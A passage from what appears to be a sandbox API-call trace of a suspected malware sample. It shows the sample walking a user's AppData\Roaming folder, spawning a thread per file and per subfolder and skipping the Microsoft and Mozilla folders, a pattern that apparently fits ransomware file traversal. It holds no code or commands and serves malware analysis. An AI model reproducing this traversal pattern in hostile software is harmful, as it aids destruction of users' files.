cFileName="d2z5wrvhd.m4a", cAlternateFileName="D2Z5WR~1.M4A")) returned 1 [0048.729] wcscmp (_String1="d2z5wrvhd.m4a", _String2=".") returned 1 [0048.729] wcscmp (_String1="d2z5wrvhd.m4a", _String2="..") returned 1 [0048.729] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x400b18 [0048.729] wcscpy (in: _Dest=0x400b18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.729] wcscat (in: _Dest=0x400b18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.729] wcscat (in: _Dest=0x400b18, _Source="d2z5wrvhd.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d2z5wrvhd.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d2z5wrvhd.m4a" [0048.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0 [0048.730] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ac43f20, ftCreationTime.dwHighDateTime=0x1d4c737, ftLastAccessTime.dwLowDateTime=0xbfa98f70, ftLastAccessTime.dwHighDateTime=0x1d4ceb5, ftLastWriteTime.dwLowDateTime=0xbfa98f70, ftLastWriteTime.dwHighDateTime=0x1d4ceb5, nFileSizeHigh=0x0, nFileSizeLow=0x152f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="DIZ2.gif", cAlternateFileName="")) returned 1 [0048.730] wcscmp (_String1="DIZ2.gif", _String2=".") returned 1 [0048.730] wcscmp (_String1="DIZ2.gif", _String2="..") returned 1 [0048.730] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x418b18 [0048.730] wcscpy (in: _Dest=0x418b18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.730] wcscat (in: _Dest=0x418b18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.730] wcscat (in: _Dest=0x418b18, _Source="DIZ2.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DIZ2.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DIZ2.gif" [0048.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc [0048.732] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf56a1430, ftCreationTime.dwHighDateTime=0x1d4cbeb, ftLastAccessTime.dwLowDateTime=0xd5dd2cd0, ftLastAccessTime.dwHighDateTime=0x1d4c9e6, ftLastWriteTime.dwLowDateTime=0xd5dd2cd0, ftLastWriteTime.dwHighDateTime=0x1d4c9e6, nFileSizeHigh=0x0, nFileSizeLow=0x4934, dwReserved0=0x0, dwReserved1=0x0, cFileName="dj7_9jg.wav", cAlternateFileName="")) returned 1 [0048.732] wcscmp (_String1="dj7_9jg.wav", _String2=".") returned 1 [0048.732] wcscmp (_String1="dj7_9jg.wav", _String2="..") returned 1 [0048.732] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400a18 [0048.732] wcscpy (in: _Dest=0x400a18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.732] wcscat (in: _Dest=0x400a18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.732] wcscat (in: _Dest=0x400a18, _Source="dj7_9jg.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dj7_9jg.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dj7_9jg.wav" [0048.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b8 [0048.733] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe365c570, ftCreationTime.dwHighDateTime=0x1d4c6f2, ftLastAccessTime.dwLowDateTime=0x14d2a550, ftLastAccessTime.dwHighDateTime=0x1d4cdde, ftLastWriteTime.dwLowDateTime=0x14d2a550, ftLastWriteTime.dwHighDateTime=0x1d4cdde, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="DO6uQzOdzZ4m.wav", cAlternateFileName="DO6UQZ~1.WAV")) returned 1 [0048.733] wcscmp (_String1="DO6uQzOdzZ4m.wav", _String2=".") returned 1 [0048.733] wcscmp (_String1="DO6uQzOdzZ4m.wav", _String2="..") returned 1 [0048.733] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x4475c8 [0048.733] wcscpy (in: _Dest=0x4475c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.733] wcscat (in: _Dest=0x4475c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.733] wcscat (in: _Dest=0x4475c8, _Source="DO6uQzOdzZ4m.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DO6uQzOdzZ4m.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DO6uQzOdzZ4m.wav" [0048.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4475c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0 [0048.734] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd5786930, ftCreationTime.dwHighDateTime=0x1d4c554, ftLastAccessTime.dwLowDateTime=0xb6716e50, ftLastAccessTime.dwHighDateTime=0x1d4c86b, ftLastWriteTime.dwLowDateTime=0xb6716e50, ftLastWriteTime.dwHighDateTime=0x1d4c86b, nFileSizeHigh=0x0, nFileSizeLow=0x7d62, dwReserved0=0x0, dwReserved1=0x0, cFileName="HBzhalriLYIfm K.bmp", cAlternateFileName="HBZHAL~1.BMP")) returned 1 [0048.734] wcscmp (_String1="HBzhalriLYIfm K.bmp", _String2=".") returned 1 [0048.734] wcscmp (_String1="HBzhalriLYIfm K.bmp", _String2="..") returned 1 [0048.734] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x4166f0 [0048.734] wcscpy (in: _Dest=0x4166f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.734] wcscat (in: _Dest=0x4166f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.735] wcscat (in: _Dest=0x4166f0, _Source="HBzhalriLYIfm K.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HBzhalriLYIfm K.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HBzhalriLYIfm K.bmp" [0048.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4166f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0048.738] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0048.738] wcscmp (_String1="Identities", _String2=".") returned 1 [0048.738] wcscmp (_String1="Identities", _String2="..") returned 1 [0048.738] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x400e18 [0048.738] wcscpy (in: _Dest=0x400e18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.738] wcscat (in: _Dest=0x400e18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.738] wcscat (in: _Dest=0x400e18, _Source="Identities" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities" [0048.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x400e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0048.740] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8937dd0, ftCreationTime.dwHighDateTime=0x1d4cdde, ftLastAccessTime.dwLowDateTime=0x48b91450, ftLastAccessTime.dwHighDateTime=0x1d4d1e2, ftLastWriteTime.dwLowDateTime=0x48b91450, ftLastWriteTime.dwHighDateTime=0x1d4d1e2, nFileSizeHigh=0x0, nFileSizeLow=0x10606, dwReserved0=0x0, dwReserved1=0x0, cFileName="iQ7blN7.doc", cAlternateFileName="")) returned 1 [0048.740] wcscmp (_String1="iQ7blN7.doc", _String2=".") returned 1 [0048.740] wcscmp (_String1="iQ7blN7.doc", _String2="..") returned 1 [0048.740] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400e98 [0048.740] wcscpy (in: _Dest=0x400e98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.740] wcscat (in: _Dest=0x400e98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.740] wcscat (in: _Dest=0x400e98, _Source="iQ7blN7.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\iQ7blN7.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\iQ7blN7.doc" [0048.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c [0048.741] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1249e130, ftCreationTime.dwHighDateTime=0x1d4d208, ftLastAccessTime.dwLowDateTime=0xd2271a20, ftLastAccessTime.dwHighDateTime=0x1d4d16f, ftLastWriteTime.dwLowDateTime=0xd2271a20, ftLastWriteTime.dwHighDateTime=0x1d4d16f, nFileSizeHigh=0x0, nFileSizeLow=0x112b, dwReserved0=0x0, dwReserved1=0x0, cFileName="j_vsPeoEM 9EkmD.xls", cAlternateFileName="J_VSPE~1.XLS")) returned 1 [0048.741] wcscmp (_String1="j_vsPeoEM 9EkmD.xls", _String2=".") returned 1 [0048.741] wcscmp (_String1="j_vsPeoEM 9EkmD.xls", _String2="..") returned 1 [0048.741] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x416db0 [0048.741] wcscpy (in: _Dest=0x416db0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.741] wcscat (in: _Dest=0x416db0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.741] wcscat (in: _Dest=0x416db0, _Source="j_vsPeoEM 9EkmD.xls" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\j_vsPeoEM 9EkmD.xls") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\j_vsPeoEM 9EkmD.xls" [0048.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x416db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298 [0048.742] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x17632050, ftCreationTime.dwHighDateTime=0x1d4cbd2, ftLastAccessTime.dwLowDateTime=0x53c45ff0, ftLastAccessTime.dwHighDateTime=0x1d4cd85, ftLastWriteTime.dwLowDateTime=0x53c45ff0, ftLastWriteTime.dwHighDateTime=0x1d4cd85, nFileSizeHigh=0x0, nFileSizeLow=0x1805a, dwReserved0=0x0, dwReserved1=0x0, cFileName="kxFzATRTK24XTJ9P.jpg", cAlternateFileName="KXFZAT~1.JPG")) returned 1 [0048.742] wcscmp (_String1="kxFzATRTK24XTJ9P.jpg", _String2=".") returned 1 [0048.742] wcscmp (_String1="kxFzATRTK24XTJ9P.jpg", _String2="..") returned 1 [0048.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x416e40 [0048.742] wcscpy (in: _Dest=0x416e40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.742] wcscat (in: _Dest=0x416e40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.742] wcscat (in: _Dest=0x416e40, _Source="kxFzATRTK24XTJ9P.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\kxFzATRTK24XTJ9P.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\kxFzATRTK24XTJ9P.jpg" [0048.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x416e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0048.743] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6aa3ce70, ftCreationTime.dwHighDateTime=0x1d4cbbb, ftLastAccessTime.dwLowDateTime=0x3bccea00, ftLastAccessTime.dwHighDateTime=0x1d4c7b5, ftLastWriteTime.dwLowDateTime=0x3bccea00, ftLastWriteTime.dwHighDateTime=0x1d4c7b5, nFileSizeHigh=0x0, nFileSizeLow=0x11e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="M2Te.bmp", cAlternateFileName="")) returned 1 [0048.743] wcscmp (_String1="M2Te.bmp", _String2=".") returned 1 [0048.744] wcscmp (_String1="M2Te.bmp", _String2="..") returned 1 [0048.744] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x419220 [0048.744] wcscpy (in: _Dest=0x419220, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.744] wcscat (in: _Dest=0x419220, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.744] wcscat (in: _Dest=0x419220, _Source="M2Te.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\M2Te.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\M2Te.bmp" [0048.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x419220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0048.745] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0048.745] wcscmp (_String1="Macromedia", _String2=".") returned 1 [0048.745] wcscmp (_String1="Macromedia", _String2="..") returned 1 [0048.745] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x400a98 [0048.745] wcscpy (in: _Dest=0x400a98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.745] wcscat (in: _Dest=0x400a98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.745] wcscat (in: _Dest=0x400a98, _Source="Macromedia" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia" [0048.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x400a98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8 [0048.746] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0048.746] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0048.746] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0048.746] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e46340 [0048.746] wcscpy (in: _Dest=0x5e46340, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.746] wcscat (in: _Dest=0x5e46340, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.747] wcscat (in: _Dest=0x5e46340, _Source="Microsoft" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft" [0048.747] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46340) returned 1 [0048.747] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0048.747] wcscmp (_String1="Mozilla", _String2=".") returned 1 [0048.747] wcscmp (_String1="Mozilla", _String2="..") returned 1 [0048.747] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x5e46340 [0048.747] wcscpy (in: _Dest=0x5e46340, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.747] wcscat (in: _Dest=0x5e46340, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.747] wcscat (in: _Dest=0x5e46340, _Source="Mozilla" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla" [0048.747] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46340) returned 1 [0048.747] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x71ec89f0, ftCreationTime.dwHighDateTime=0x1d4d008, ftLastAccessTime.dwLowDateTime=0x8c891dc0, ftLastAccessTime.dwHighDateTime=0x1d4d07e, ftLastWriteTime.dwLowDateTime=0x8c891dc0, ftLastWriteTime.dwHighDateTime=0x1d4d07e, nFileSizeHigh=0x0, nFileSizeLow=0xfb24, dwReserved0=0x0, dwReserved1=0x0, cFileName="MU K1Acd_mkZZ.png", cAlternateFileName="MUK1AC~1.PNG")) returned 1 [0048.747] wcscmp (_String1="MU K1Acd_mkZZ.png", _String2=".") returned 1 [0048.747] wcscmp (_String1="MU K1Acd_mkZZ.png", _String2="..") returned 1 [0048.747] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x447540 [0048.747] wcscpy (in: _Dest=0x447540, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.747] wcscat (in: _Dest=0x447540, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.747] wcscat (in: _Dest=0x447540, _Source="MU K1Acd_mkZZ.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MU K1Acd_mkZZ.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MU K1Acd_mkZZ.png" [0048.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4 [0048.748] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1033ca60, ftCreationTime.dwHighDateTime=0x1d4d324, ftLastAccessTime.dwLowDateTime=0xc65bd1f0, ftLastAccessTime.dwHighDateTime=0x1d4c6ba, ftLastWriteTime.dwLowDateTime=0xc65bd1f0, ftLastWriteTime.dwHighDateTime=0x1d4c6ba, nFileSizeHigh=0x0, nFileSizeLow=0xc55b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NJ8GIWY4aa.bmp", cAlternateFileName="NJ8GIW~1.BMP")) returned 1 [0048.748] wcscmp (_String1="NJ8GIWY4aa.bmp", _String2=".") returned 1 [0048.748] wcscmp (_String1="NJ8GIWY4aa.bmp", _String2="..") returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x4474b8 [0048.748] wcscpy (in: _Dest=0x4474b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.749] wcscat (in: _Dest=0x4474b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.749] wcscat (in: _Dest=0x4474b8, _Source="NJ8GIWY4aa.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\NJ8GIWY4aa.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\NJ8GIWY4aa.bmp" [0048.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4474b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0 [0048.750] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5042c60, ftCreationTime.dwHighDateTime=0x1d4d177, ftLastAccessTime.dwLowDateTime=0x1e1d7990, ftLastAccessTime.dwHighDateTime=0x1d4d474, ftLastWriteTime.dwLowDateTime=0x1e1d7990, ftLastWriteTime.dwHighDateTime=0x1d4d474, nFileSizeHigh=0x0, nFileSizeLow=0xc889, dwReserved0=0x0, dwReserved1=0x0, cFileName="QK0TgMh71.flv", cAlternateFileName="QK0TGM~1.FLV")) returned 1 [0048.750] wcscmp (_String1="QK0TgMh71.flv", _String2=".") returned 1 [0048.750] wcscmp (_String1="QK0TgMh71.flv", _String2="..") returned 1 [0048.750] RtlAllocateHeap 